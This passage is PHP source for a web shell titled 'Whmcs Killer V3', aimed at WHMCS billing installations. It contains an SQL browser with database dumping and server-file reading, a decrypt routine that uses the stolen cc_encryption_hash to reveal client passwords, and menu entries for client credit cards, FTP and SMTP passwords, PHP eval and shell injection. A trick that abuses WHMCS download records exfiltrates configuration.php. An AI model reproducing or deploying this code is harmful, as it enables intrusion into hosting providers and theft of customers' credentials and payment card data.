  309.     var p3_ = '".((strpos(@$_POST["p3"],"
  310. ")!==false)?"":htmlspecialchars($_POST["p3"],ENT_QUOTES))."';
  311.  
  312.     var d = document;
  313.  
  314.     function set(a,c,p1,p2,p3,charset) {
  315.         if(a!=null)d.mf.a.value=a;
  316. else d.mf.a.value=a_;
  317.  
  318.         if(c!=null)d.mf.c.value=c;
  319. else d.mf.c.value=c_;
  320.  
  321.         if(p1!=null)d.mf.p1.value=p1;
  322. else d.mf.p1.value=p1_;
  323.  
  324.         if(p2!=null)d.mf.p2.value=p2;
  325. else d.mf.p2.value=p2_;
  326.  
  327.         if(p3!=null)d.mf.p3.value=p3;
  328. else d.mf.p3.value=p3_;
  329.  
  330.         if(charset!=null)d.mf.charset.value=charset;
  331. else d.mf.charset.value=charset_;
  332.  
  333.     }
  334.     function g(a,c,p1,p2,p3,charset) {
  335.         set(a,c,p1,p2,p3,charset);
  336.  
  337.         d.mf.submit();
  338.  
  339.     }
  340.     function a(a,c,p1,p2,p3,charset) {
  341.         set(a,c,p1,p2,p3,charset);
  342.  
  343.         var params = 'ajax=true';
  344.  
  345.         for(i=0;
  346. i<d.mf.elements.length;
  347. i++)
  348.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  349.  
  350.         sr('".addslashes($_SERVER["REQUEST_URI"])."', params);
  351.  
  352.     }
  353.     function sr(url, params) { 
  354.         if (window.XMLHttpRequest)
  355.             req = new XMLHttpRequest();
  356.  
  357.         else if (window.ActiveXObject)
  358.             req = new ActiveXObject('Microsoft.XMLHTTP');
  359.  
  360.         if (req) {
  361.             req.onreadystatechange = processReqChange;
  362.  
  363.             req.open('POST', url, true);
  364.  
  365.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  366.  
  367.             req.send(params);
  368.  
  369.         }
  370.     }
  371.     function processReqChange() {
  372.         if( (req.readyState == 4) )
  373.             if(req.status == 200) {
  374.                 var reg = new RegExp(\"(\\d+)([\\\S\\s]*)\", 'm');
  375.  
  376.                 var arr=reg.exec(req.responseText);
  377.  
  378.                 eval(arr[2].substr(0, arr[1]));
  379.  
  380.             } else alert('Request error!');
  381.  
  382.     }
  383. </script>
  384. <html>
  385. <title>Whmcs Killer V3 (Coded by RAB3OUN)</title>
  386. <head>
  387.  
  388. <style>
  389.  
  390.  
  391. body
  392.  
  393. {
  394.  
  395.     background: #0f0e0d;
  396.  
  397.  
  398.     color: #FF9933;
  399.  
  400.  
  401.  
  402.     padding: 0px;
  403.  
  404.  
  405.  
  406. }
  407.  
  408.  
  409. a:link, body_alink
  410.  
  411.  
  412. {
  413.  
  414.    
  415. color: #FF9933;
  416.  
  417.  
  418.    
  419. text-decoration: none;
  420.  
  421.  
  422. }
  423.  
  424.  
  425. a:visited, body_avisited
  426.  
  427. {
  428.  
  429.     color: #FF9933;
  430.  
  431.  
  432.     text-decoration: none;
  433.  
  434.  
  435. }
  436.  
  437.  
  438. a:hover, a:active, body_ahover
  439.  
  440. {
  441.  
  442.    
  443. color: #FFFFFF;
  444.  
  445.  
  446.    
  447. text-decoration: none;
  448.  
  449.  
  450.  
  451. }
  452. th:hover
  453.  
  454. {
  455.  
  456.    
  457. background: #524f46;
  458.  
  459.  
  460.    
  461. text-decoration: none;
  462.  
  463.  
  464.  
  465. }
  466.  
  467. td, th, p, li,table
  468.  
  469. {
  470.  
  471.    
  472.     background: #2e2b28;
  473.  
  474.  
  475.     border:1px solid #524f46;
  476.  
  477.  
  478. }
  479.  
  480.  
  481. input
  482.  
  483. {
  484.  
  485.     border: 1px solid;
  486.  
  487.  
  488.  
  489.     cursor: default;
  490.  
  491.  
  492.    
  493.     overflow: hidden;
  494.  
  495.  
  496.     background: #2e2b28;
  497.  
  498.  
  499.     color: #ffffff;
  500.  
  501.  
  502. }
  503.  
  504. </style>
  505.  
  506. <head><body><div style='position:absolute;
  507. width:100%;
  508. top:0;
  509. left:0;
  510. '>
  511. <form method=post name=mf style='display:none;
  512. '>
  513. <input type=hidden name=a>
  514. <input type=hidden name=c>
  515. <input type=hidden name=p1>
  516. <input type=hidden name=p2>
  517. <input type=hidden name=p3>
  518. <input type=hidden name=charset>
  519. </form>";
  520. class DbClass{var$type;
  521. var$link;
  522. var$res;
  523. function DbClass($type){$this->type=$type;
  524. }function connect($host,$user,$pass,$dbname){switch($this->type){case"mysql":if($this->link=@mysql_connect($host,$user,$pass,true))return true;
  525. break;
  526. case"pgsql":$host=explode(":",$host);
  527. if(!$host[1])$host[1]=5432;
  528. if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;
  529. break;
  530. }return false;
  531. }function selectdb($db){switch($this->type){case"mysql":if(@mysql_select_db($db))return true;
  532. break;
  533. }return false;
  534. }function query($str){switch($this->type){case"mysql":return$this->res=@mysql_query($str);
  535. break;
  536. case"pgsql":return$this->res=@pg_query($this->link,$str);
  537. break;
  538. }return false;
  539. }function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;
  540. switch($this->type){case"mysql":return@mysql_fetch_assoc($res);
  541. break;
  542. case"pgsql":return@pg_fetch_assoc($res);
  543. break;
  544. }return false;
  545. }function listDbs(){switch($this->type){case"mysql":return$this->query("SHOW databases");
  546. break;
  547. case"pgsql":return$this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  548. break;
  549. }return false;
  550. }function listTables(){switch($this->type){case"mysql":return$this->res=$this->query("SHOW TABLES");
  551. break;
  552. case"pgsql":return$this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  553. break;
  554. }return false;
  555. }function error(){switch($this->type){case"mysql":return@mysql_error();
  556. break;
  557. case"pgsql":return@pg_last_error();
  558. break;
  559. }return false;
  560. }function setCharset($str){switch($this->type){case"mysql":if(function_exists("mysql_set_charset"))return@mysql_set_charset($str,$this->link);
  561. else$this->query("SET CHARSET ".$str);
  562. break;
  563. case"pgsql":return@pg_set_client_encoding($this->link,$str);
  564. break;
  565. }return false;
  566. }function loadFile($str){switch($this->type){case"mysql":return$this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  567. break;
  568. case"pgsql":$this->query("CREATE TABLE BOFF2(file text);
  569. COPY BOFF2 FROM '".addslashes($str)."';
  570. select file from BOFF2;
  571. ");
  572. $r=array();
  573. while($i=$this->fetch())$r[]=$i["file"];
  574. $this->query("drop table BOFF2");
  575. return array("file"=>implode("
  576. ",$r));
  577. break;
  578. }return false;
  579. }function dump($table,$fp=false){switch($this->type){case"mysql":$res=$this->query("SHOW CREATE TABLE `".$table."`");
  580. $create=mysql_fetch_array($res);
  581. $sql=$create[1].";
  582.  
  583. ";
  584. if($fp)fwrite($fp,$sql);
  585. else echo($sql);
  586. $this->query("SELECT * FROM `".$table."`");
  587. $head=true;
  588. while($item=$this->fetch()){$columns=array();
  589. foreach($item as$k=>$v){if($v==null)$item[$k]="NULL";
  590. elseif(is_numeric($v))$item[$k]=$v;
  591. else$item[$k]="'".@mysql_real_escape_string($v)."'";
  592. $columns[]="`".$k."`";
  593. }if($head){$sql="INSERT INTO `".$table."` (".implode(", ",$columns).") VALUES
  594.     (".implode(", ",$item).")";
  595. $head=false;
  596. }else$sql="
  597.     ,(".implode(", ",$item).")";
  598. if($fp)fwrite($fp,$sql);
  599. else echo($sql);
  600. }if(!$head)if($fp)fwrite($fp,";
  601.  
  602.  
  603. ");
  604. else echo(";
  605.  
  606.  
  607. ");
  608. break;
  609. case"pgsql":$this->query("SELECT * FROM ".$table);
  610. while($item=$this->fetch()){$columns=array();
  611. foreach($item as$k=>$v){$item[$k]="'".addslashes($v)."'";
  612. $columns[]=$k;
  613. }$sql="INSERT INTO ".$table." (".implode(", ",$columns).") VALUES (".implode(", ",$item).");
  614. "."
  615. ";
  616. if($fp)fwrite($fp,$sql);
  617. else echo($sql);
  618. }break;
  619. }return false;
  620. }}$db=new DbClass($_POST["type"]);
  621. if(@$_POST["p2"]=="download"){$db->connect($_POST["sql_host"],$_POST["sql_login"],$_POST["sql_pass"],$_POST["sql_base"]);
  622. $db->selectdb($_POST["sql_base"]);
  623. switch($_POST["charset"]){case"Windows-1251":$db->setCharset("cp1251");
  624. break;
  625. case"UTF-8":$db->setCharset("utf8");
  626. break;
  627. case"KOI8-R":$db->setCharset("koi8r");
  628. break;
  629. case"KOI8-U":$db->setCharset("koi8u");
  630. break;
  631. case"cp866":$db->setCharset("cp866");
  632. break;
  633. }if(empty($_POST["file"])){ob_start("ob_gzhandler",4096);
  634. header("Content-Disposition: attachment;
  635.  filename=dump.sql");
  636. header("Content-Type: text/plain");
  637. foreach($_POST["tbl"]as$v)$db->dump($v);
  638. exit;
  639. }elseif($fp=@fopen($_POST["file"],"w")){foreach($_POST["tbl"]as$v)$db->dump($v,$fp);
  640. fclose($fp);
  641. unset($_POST["p2"]);
  642. }else die("<script>alert(\"Error! Can't open file\");
  643. window.history.back(-1)</script>");
  644. }echo"
  645. <center><h1>Sql browser</h1></center><div class=content>
  646. <form name='sf' method='post' onsubmit='fs(this);
  647. '><table cellpadding='2' cellspacing='0'><tr valign='top'>
  648. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr valign='top'>
  649. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS["cwd"])."'><input type=hidden name=charset value='".(isset($_POST["charset"])?$_POST["charset"]:"")."'>
  650. <td><select name='type'><option value='mysql' ";
  651. if(@$_POST["type"]=="mysql")echo"selected";
  652. echo">MySql</option><option value='pgsql' ";
  653. if(@$_POST["type"]=="pgsql")echo"selected";
  654. echo">PostgreSql</option></select></td>
  655. <td><input type=text name=sql_host value='".(empty($_POST["sql_host"])?$_COOKIE["db_host"]:htmlspecialchars($_POST["sql_host"]))."'></td>
  656. <td><input type=text name=sql_login value='".(empty($_POST["sql_login"])?$_COOKIE["db_username"]:htmlspecialchars($_POST["sql_login"]))."'></td>
  657. <td><input type=text name=sql_pass value='".(empty($_POST["sql_pass"])?$_COOKIE["db_password"]:htmlspecialchars($_POST["sql_pass"]))."'></td><td>";
  658. $tmp="<input type=text name=sql_base value='".$_COOKIE["db_name"]."'>";
  659. if(isset($_POST["sql_host"])){if($db->connect($_POST["sql_host"],$_POST["sql_login"],$_POST["sql_pass"],$_POST["sql_base"])){switch($_POST["charset"]){case"Windows-1251":$db->setCharset("cp1251");
  660. break;
  661. case"UTF-8":$db->setCharset("utf8");
  662. break;
  663. case"KOI8-R":$db->setCharset("koi8r");
  664. break;
  665. case"KOI8-U":$db->setCharset("koi8u");
  666. break;
  667. case"cp866":$db->setCharset("cp866");
  668. break;
  669. }$db->listDbs();
  670. echo"<select name=sql_base><option value=''></option>";
  671. while($item=$db->fetch()){list($key,$value)=each($item);
  672. echo"<option value=\"".$value."\" ".($value==$_POST["sql_base"]?"selected":"").">".$value."</option>";
  673. }echo"</select>";
  674. }else echo$tmp;
  675. }else echo$tmp;
  676. echo"</td>
  677.                 <td><input type=submit value='>>' onclick='fs(d.sf);
  678. '></td>
  679.                 <td><input type=checkbox name=sql_count value='on'".(empty($_POST["sql_count"])?"":" checked")."> count the number of rows</td>
  680.             </tr>
  681.         </table>
  682.         <script>
  683.             s_db='".@addslashes($_POST["sql_base"])."';
  684.  
  685.             function fs(f) {
  686.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  687.  
  688.                     if(f.p1) f.p1.value='';
  689.  
  690.                     if(f.p2) f.p2.value='';
  691.  
  692.                     if(f.p3) f.p3.value='';
  693.  
  694.                 }
  695.             }
  696.             function st(t,l) {
  697.                 d.sf.p1.value = 'select';
  698.  
  699.                 d.sf.p2.value = t;
  700.  
  701.                 if(l && d.sf.p3) d.sf.p3.value = l;
  702.  
  703.                 d.sf.submit();
  704.  
  705.             }
  706.             function is() {
  707.                 for(i=0;
  708. i<d.sf.elements['tbl[]'].length;
  709. ++i)
  710.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  711.  
  712.             }
  713.         </script>";
  714. if(isset($db)&&$db->link){echo"<br/><table width=100% cellpadding=2 cellspacing=0>";
  715. if(!empty($_POST["sql_base"])){$db->selectdb($_POST["sql_base"]);
  716. echo"<tr valign='top'><td width=1 style='border-top:2px solid #666;
  717. '><span>Tables:</span><br><br>";
  718. $tbls_res=$db->listTables();
  719. while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);
  720. if(!empty($_POST["sql_count"]))$n=$db->fetch($db->query("SELECT COUNT(*) as n FROM ".$value.""));
  721. $value=htmlspecialchars($value);
  722. echo"<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;
  723. <a href=# onclick=\"st('".$value."',1)\">".$value."</a>".(empty($_POST["sql_count"])?"&nbsp;
  724. ":" <small>({$n['n']})</small>")."</nobr><br>";
  725. }echo"<input type='checkbox' onclick='is();
  726. '> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";
  727. document.sf.submit();
  728. '><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;
  729. '>";
  730. if(@$_POST["p1"]=="select"){$_POST["p1"]="query";
  731. $_POST["p3"]=$_POST["p3"]?$_POST["p3"]:1;
  732. $db->query("SELECT COUNT(*) as n FROM ".$_POST["p2"]);
  733. $num=$db->fetch();
  734. $pages=ceil($num["n"]/30);
  735. echo"<script>d.sf.onsubmit=function(){st(\"".$_POST["p2"]."\", d.sf.p3.value)}</script><span>".$_POST["p2"]."</span> ({$num['n']} records) Page # <input type=text name='p3' value=".((int)$_POST["p3"]).">";
  736. echo" of $pages";
  737. if($_POST["p3"]>1)echo" <a href=# onclick='st(\"".$_POST["p2"]."\", ".($_POST["p3"]-1).")'>&lt;
  738.  Prev</a>";
  739. if($_POST["p3"]<$pages)echo" <a href=# onclick='st(\"".$_POST["p2"]."\", ".($_POST["p3"]+1).")'>Next &gt;
  740. </a>";
  741. $_POST["p3"]--;
  742. if($_POST["type"]=="pgsql")$_POST["p2"]="SELECT * FROM ".$_POST["p2"]." LIMIT 30 OFFSET ".($_POST["p3"]*30);
  743. else$_POST["p2"]="SELECT * FROM `".$_POST["p2"]."` LIMIT ".($_POST["p3"]*30).",30";
  744. echo"<br><br>";
  745. }if((@$_POST["p1"]=="query")&&!empty($_POST["p2"])){$db->query(@$_POST["p2"]);
  746. if($db->res!==false){$title=false;
  747. echo"<table width=100% cellspacing=1 cellpadding=2 class=main style=\"background-color:#292929\">";
  748. $line=1;
  749. while($item=$db->fetch()){if(!$title){echo"<tr valign=\"top\">";
  750. foreach($item as$key=>$value)echo"<td>".$key."</td>";
  751. reset($item);
  752. $title=true;
  753. echo"</tr><tr valign=\"top\">";
  754. $line=2;
  755. }echo"<tr valign=\"top\"class=\"l".$line."\">";
  756. $line=$line==1?2:1;
  757. foreach($item as$key=>$value){if($value==null)echo"<td><i>null</i></td>";
  758. else echo"<td>".nl2br(htmlspecialchars($value))."</td>";
  759. }echo"</tr>";
  760. }echo"</table>";
  761. }else{echo"<div><b>Error:</b> ".htmlspecialchars($db->error())."</div>";
  762. }}echo"<br></form><form onsubmit='d.sf.p1.value=\"query\";
  763. d.sf.p2.value=this.query.value;
  764. document.sf.submit();
  765. return false;
  766. '><textarea name='query' style='width:100%;
  767. height:100px'>";
  768. if(!empty($_POST["p2"])&&($_POST["p1"]!="loadfile"))echo htmlspecialchars($_POST["p2"]);
  769. echo"</textarea><br/><input type=submit value='Execute'>";
  770. echo"</td></tr>";
  771. }echo"</table></form><br/>";
  772. if($_POST["type"]=="mysql"){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  773. if($db->fetch())echo"<form onsubmit='d.sf.p1.value=\"loadfile\";
  774. document.sf.p2.value=this.f.value;
  775. document.sf.submit();
  776. return false;
  777. '><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  778. }if(@$_POST["p1"]=="loadfile"){$file=$db->loadFile($_POST["p2"]);
  779. echo"<pre class=ml1>".htmlspecialchars($file["file"])."</pre>";
  780. }}else{echo htmlspecialchars($db->error());
  781. }echo"</div>";
  782. }function multiview($p,$table,$name,$order,$where,$col,$sql,$export=0,$if=""){global$cc_encryption_hash;
  783. $qq=$_GET["qq"];
  784. $q=str_replace(" ","%",$_POST["q"]);
  785. if($qq<>"")$q=$qq;
  786. if($q=="")$q="%";
  787. if($qq=="")$qq=$q;
  788. $query=mysql_query("SELECT * FROM $table  LIMIT  0,5");
  789. if(!is_array(mysql_fetch_array($query))){echo"<p class=\"msg error\">Nothing Found !</p>";
  790. }else{echo"<center><h1>$name</h1> <br>";
  791. if($export==1){echo"<form action=\"?p=$p\" name=\"formw\" method=\"post\">
  792.  
  793. <input name=\"export\" type=\"hidden\" value=\"1\">
  794. <center><input type=\"submit\" name=\"submit2\" class=\"input-submit\" value=\"[Save to TXT file ]\" /></form></center><br>";
  795. }echo("<center><h3  class=\"tit\">Search</h3><FORM action=\"?p=$p\"  method=\"post\">
  796.  
  797. <input type=\"text\" name=\"q\" value=\"$q\">
  798. <br>
  799. <INPUT class=\"input-submit\"  type=\"submit\" value=\"Submit\" name=\"Submit\">
  800. </form>");
  801. if(isset($_GET["page"])){$page=intval($_GET["page"]);
  802. }else{$page=1;
  803. }if(is_array($where)){$where2="'0";
  804. foreach($where as$w){$where2.="' or $w LIKE '%$q%";
  805. }$where2.="'";
  806. }else{$where2=$where;
  807. }$start_from=($page-1)*100;
  808. $query=mysql_query("SELECT * FROM $table where $if ($where2) order by $order LIMIT $start_from , 100 ");
  809. $total_records=mysql_num_rows(mysql_query("SELECT * FROM $table where $if ($where2) order by $order"));
  810. echo("<h3  class=\"tit\">Total Records ".$total_records."</h3><br>");
  811. $total_pages=ceil($total_records/100);
  812. echo("<br><table border='0'><tr>");
  813. echo("<th>Page ".$page." Of ".$total_pages."</th>");
  814. if($page>1)echo"<td><a href='?p=$p&qq=".$qq."&page=".($page-1)."'>Back</a>&nbsp</td>";
  815. echo"<td><a href='?p=$p&qq=".$qq."&page=".$total_pages."'>Latest</a></td>";
  816. if($page<$total_pages)echo"<td>&nbsp<a href='?p=$p&qq=".$qq."&page=".($page+1)."'>Next</a>&nbsp</td>";
  817. for($i=0;
  818. $i<=$total_pages;
  819. $i++){if($i%2==0){$bg2="class=\"bg2\"";
  820. }else{$bg2="";
  821. }if($i%20==0)echo"</tr><tr >";
  822. if($i==0){echo"<td>&nbsp&nbsp</td>";
  823. }else{if($i==$page){echo"<td $bg2>&nbsp<a href='?p=$p&qq=".$qq."&page=".$i."'>(".$i.")</a>&nbsp</td>";
  824. }else{echo"<td $bg2>&nbsp<a href='?p=$p&qq=".$qq."&page=".$i."'>".$i."</a>&nbsp</td>";
  825. }}}echo("</tr></table>");
  826. if(!is_array(mysql_fetch_array($query))){echo"<p class=\"msg error\">Nothing Found !</p>";
  827. exit;
  828. }echo"<br><table ><tr>";
  829. foreach($col as$col1){echo"<th>$col1</th>";
  830. }echo" </tr>";
  831. $query=mysql_query("SELECT * FROM $table where $if ($where2) order by $order LIMIT $start_from , 100 ");
  832. $ii=0;
  833. while($v=mysql_fetch_array($query)){if($ii%2==0){$bg="class=\"bg\"";
  834. }else{$bg="";
  835. }echo"<tr $bg >";
  836. foreach($sql as$sql1){if($sql1=="password"){echo"<td>".decrypt($v["password"],$cc_encryption_hash)."</td>";
  837. }elseif(($sql1=="userid")or(($table="tblclients")and($sql1=="id"))){echo"<td> <a href='?p=12&id=".$v[$sql1]."'>".$v[$sql1]."</a></td>";
  838. }else{echo"<td>".$v[$sql1]."</td>";
  839. }}echo"</tr>";
  840. $ii++;
  841. }echo"</table>";
  842. }}function table($sql,$col){global$cc_encryption_hash;
  843. $q=mysql_query($sql);
  844. if(!is_array(@mysql_fetch_array($q))){echo"<p class=\"msg error\">Nothing Found !</p>";
  845. return;
  846. }$q=mysql_query($sql);
  847. echo("<br><table border='0'>");
  848. echo"<tr>";
  849. foreach($col as$sql1){echo"<th>".ucfirst($sql1)."</th>";
  850. }echo"</tr>";
  851. $ii=0;
  852. while($v=mysql_fetch_array($q)){if($ii%2==0){$bg="class=\"bg\"";
  853. }else{$bg="";
  854. }echo"<tr $bg >";
  855. foreach($col as$sql1){if($sql1=="password"){echo"<td>".decrypt($v["password"],$cc_encryption_hash)."</td>";
  856. }elseif(($sql1=="userid")or(($table="tblclients")and($sql1=="id"))){echo"<td> <a href='?p=12&id=".$v[$sql1]."'>".$v[$sql1]."</a></td>";
  857. }else{echo"<td>".$v[$sql1]."</td>";
  858. }}echo"</tr>";
  859. $ii++;
  860. }echo"</table><br>";
  861. }@set_time_limit(0);
  862. ob_start();
  863. if($auth==1){if(!isset($_SERVER["PHP_AUTH_USER"])||md5($_SERVER["PHP_AUTH_USER"])!==$user||md5($_SERVER["PHP_AUTH_PW"])!==$pass){header("WWW-Authenticate: Basic realm='Powered By RAB3OUN'");
  864. header("HTTP/1.0 401 Unauthorized");
  865. exit("Go To Hell");
  866. }}$p=$_GET["p"];
  867. if($_POST["form_action"]==1){setcookie("db_host",$_POST["db_host"]);
  868. setcookie("db_username",$_POST["db_username"]);
  869. setcookie("db_password",$_POST["db_password"]);
  870. setcookie("db_name",$_POST["db_name"]);
  871. setcookie("login","1");
  872. setcookie("cc_encryption_hash",$_POST["cc_encryption_hash"]);
  873. $c=@mysql_connect($_POST["db_host"],$_POST["db_username"],$_POST["db_password"]);
  874. $c2=@mysql_select_db($_POST["db_name"],$c);
  875. if($c and$c2){echo"<center><p class=\"msg done\">Done : Connection Successfully      </p></center>";
  876. echo("<meta http-equiv='refresh' content='1;
  877. URL=?p=102' />");
  878. }else{echo"<p class=\"msg error\">Database error</p>";
  879. }}if($_POST["form_action"]==2){$file=($_POST["file"]);
  880. $text=file_get_contents($file);
  881. $text=str_replace("<?php","",$text);
  882. $text=str_replace("<?","",$text);
  883. $text=str_replace("?>","",$text);
  884. eval($text);
  885. setcookie("db_host",$db_host);
  886. setcookie("db_username",$db_username);
  887. setcookie("db_password",$db_password);
  888. setcookie("db_name",$db_name);
  889. setcookie("login","1");
  890. setcookie("cc_encryption_hash",$cc_encryption_hash);
  891. $c=@mysql_connect($db_host,$db_username,$db_password);
  892. $c2=mysql_select_db($db_name,$c);
  893. if($c and$c2){echo"<center><p class=\"msg done\">Done : Connection Successfully      </p></center>";
  894. echo("<meta http-equiv='refresh' content='1;
  895. URL=?p=102' />");
  896. }else{echo"<p class=\"msg error\">Database error</p>";
  897. }}if($_POST["form_action"]==3){$key=($_POST["key"]);
  898. $key=explode("-",$key);
  899. $v=explode("|",base64_decode($key[1]));
  900. setcookie("db_host",base64_decode($v[0]));
  901. setcookie("db_username",base64_decode($v[1]));
  902. setcookie("db_password",base64_decode($v[2]));
  903. setcookie("db_name",base64_decode($v[3]));
  904. setcookie("login","1");
  905. setcookie("cc_encryption_hash",base64_decode($v[4]));
  906. $c=@mysql_connect(base64_decode($v[0]),base64_decode($v[1]),base64_decode($v[2]));
  907. $c2=@mysql_select_db(base64_decode($v[3]),$c);
  908. if($c and$c2){echo"<center><p class=\"msg done\">Done : Connection Successfully      </p></center>";
  909. echo("<meta http-equiv='refresh' content='1;
  910. URL=?p=102' />");
  911. }else{echo"<p class=\"msg error\">Database error</p>";
  912. }echo("<meta http-equiv='refresh' content='1;
  913. URL=?p=102' />");
  914. }if($_COOKIE["login"]=="1"){$db_host=($_COOKIE["db_host"]);
  915. $db_username=($_COOKIE["db_username"]);
  916. $db_password=($_COOKIE["db_password"]);
  917. $db_name=($_COOKIE["db_name"]);
  918. $cc_encryption_hash=($_COOKIE["cc_encryption_hash"]);
  919. $link=@mysql_connect($db_host,$db_username,$db_password);
  920. mysql_select_db($db_name,$link);
  921. }if($p and($_COOKIE["login"]<>"1")){header2();
  922. login();
  923. exit;
  924. }if(($_COOKIE["login"]<>"1")){header2();
  925. login();
  926. exit;
  927. }$db_host=($_COOKIE["db_host"]);
  928. $db_username=($_COOKIE["db_username"]);
  929. $db_password=($_COOKIE["db_password"]);
  930. $db_name=($_COOKIE["db_name"]);
  931. $cc_encryption_hash=($_COOKIE["cc_encryption_hash"]);
  932. $link=@mysql_connect($db_host,$db_username,$db_password);
  933. mysql_select_db($db_name,$link);
  934. if(!$link){echo("<h1>Database error</h1>");
  935. header1();
  936. login();
  937. exit;
  938. }if($p)header1();
  939. echo"<a style=\"display:scroll;
  940. position:fixed;
  941. bottom:5px;
  942. right:5px;
  943. \" href=\"#\" title=\"Back to Top\"><img src=\"?img=1\" /></a> ";
  944. switch($p){case"m":echo("<table><tr><td><a href=\"?p=h\" target=\"frame1\"> Home</a></td></tr><tr><td>
  945. <a href=\"?p=102\" target=\"frame1\"> Info</a></td></tr><tr><td>
  946. <a href=\"?p=1\" target=\"frame1\"> H0st r00ts</a></td></tr><tr><td>
  947. <a href=\"?p=2\" target=\"frame1\"> Domains Resellers</a></td></tr><tr><td>
  948. <a href=\"?p=3\" target=\"frame1\"> Clients r00ts</a></td></tr><tr><td>
  949. <a href=\"?p=4\" target=\"frame1\"> Clients Hosting Accounts</a></td></tr><tr><td>
  950. <a href=\"?p=5\" target=\"frame1\"> Clients CC</a></td></tr><tr><td>
  951. <a href=\"?p=63\" target=\"frame1\"> Clients Tickets </a></td></tr><tr><td>
  952. <a href=\"?p=7\" target=\"frame1\"> FTP and SMTP password</a></td></tr><tr><td>
  953.  
  954. <a href=\"?p=8\" target=\"frame1\"> Tools</a>
  955. </td></tr><tr><td>
  956. <a href=\"?p=99\" target=\"frame1\"> SQL</a></td></tr><tr><td>
  957. <a href=\"?p=100\" target=\"frame1\"> Clients list </a></td></tr><tr><td>
  958. <a href=\"?p=105\" target=\"frame1\">Clients Password</a></td></tr><tr><td>
  959. <a href=\"?p=11\" target=\"frame1\">BackUp</a></td></tr><tr><td>
  960. <a href=\"?p=101\" target=\"frame1\">Eval PHP</a></td></tr><tr><td>
  961. <a href=\"?p=106\" target=\"frame1\"> DailyEmailBackup</a></td></tr><tr><td><a href=\"?p=107\" target=\"frame1\"> Index</a></td></tr><tr><td><a href=\"?p=108\" target=\"frame1\"> 1nj3c7 Sh311</a></td></tr><tr><td><a href=\"?p=109\" target=\"frame1\"> Payment Gateways</a></td></tr><tr><td><a href=\"?p=111\" target=\"frame1\"> Addon Modules</a></td></tr><tr><td><a href=\"?p=110\" target=\"frame1\"> Load File</a></td></tr><tr><td><a href=\"?p=112\" target=\"frame1\"> Custom Fields</a></td></tr><tr><td>
  962. <a href=\"?p=9\" target=\"_parent\"> Logout</a></td></tr></table>");
  963. break;
  964. case"h":login();
  965. exit;
  966. break;
  967. case 110:$r=randomt();
  968. $query0=mysql_query("SELECT value FROM tblconfiguration where setting='SystemURL'");
  969. $v0=mysql_fetch_array($query0);
  970. $SystemURL=$v0["value"];
  971. echo"<table><form method=\"POST\" action=\"?p=110\" >
  972. <tr><td>Website Url</td><td>
  973. <input type=\"text\" size=60 name=\"url\" value=\"".$SystemURL."\"></td></tr>
  974. <tr><td>File</td><td><input type=\"text\" size=60 name=\"file\" value=\"../configuration.php\"></td></tr>
  975. </table>
  976. <input type=\"Submit\" name=\"Submit\" value=\"Submit\">
  977. <input type=\"hidden\" name=\"action\" value=\"1\"></form>";
  978. if($_POST["action"]=="1"){$result=mysql_query("INSERT INTO `tbldownloadcats` (`id`, `parentid`, `name`, `description`, `hidden`) VALUES
  979. ('', 0, '$r', '', '');
  980. ")or die("Erreur SQL !<br>".mysql_error());
  981. $id=mysql_insert_id();
  982. $result=mysql_query("INSERT INTO `tbldownloads` (`id`, `category`, `type`, `title`, `description`, `downloads`, `location`, `clientsonly`,  `productdownload`) VALUES
  983. ('', '$id', 'zip', '$r', '$r', 0, '".$_POST["file"]."', '', '');
  984. ")or die("Erreur SQL !<br>".mysql_error());
  985. $id=mysql_insert_id();
  986. $ch=curl_init();
  987. curl_setopt($ch,CURLOPT_URL,$_POST["url"]."/dl.php?type=d&id=$id");
  988. curl_setopt($ch,CURLOPT_HEADER,0);
  989. curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  990. curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1;
  991.  WOW64;
  992.  rv:12.0) Gecko/20100101 Firefox/12.0 ");
  993. $result=curl_exec($ch);
  994. echo"<xmp>$result</xmp>";
  995. $result=mysql_query("delete from  `tbldownloadcats`  where `name`='$r'");
  996. $result=mysql_query("delete from  `tbldownloads`  where `title`='$r'");
  997. }break;
  998. case 112:if(($_POST["action"]=="1")and is_array($_POST["id"])){echo("<center><h1>Custom Fields Values</h1><br><table border'1'>");
  999. $x=implode(",",$_POST["id"]);
  1000. $result=mysql_query("SELECT * FROM `tblcustomfieldsvalues` where fieldid in ($x)  order by relid");
  1001. $fieldnum=@mysql_num_fields($result);
  1002. echo("<tr>");
  1003. for($i=0;
  1004. $i<$fieldnum;
  1005. $i++){$name=@mysql_field_name($result,$i);
  1006. echo("<th>$name</th>");
  1007. }echo("</tr>");
  1008. $last="";
  1009. $k=0;
  1010. while($v=@mysql_fetch_array($result,1)){if($k%2==0){$bg="class=\"bg\"";
  1011. }else{$bg="";
  1012. }if($v["relid"]<>$last)echo"<TR><TD COLSPAN=14>&nbsp;
  1013. </td></TR>";
  1014. $last=$v["relid"];
  1015. $td="<tr $bg><td>";
  1016. $td=$td.implode("</td><td>",$v);
  1017. $td=$td."</tr>
  1018. ";
  1019. echo($td);
  1020. $k++;
  1021. }echo("</table></center>");
  1022. exit;
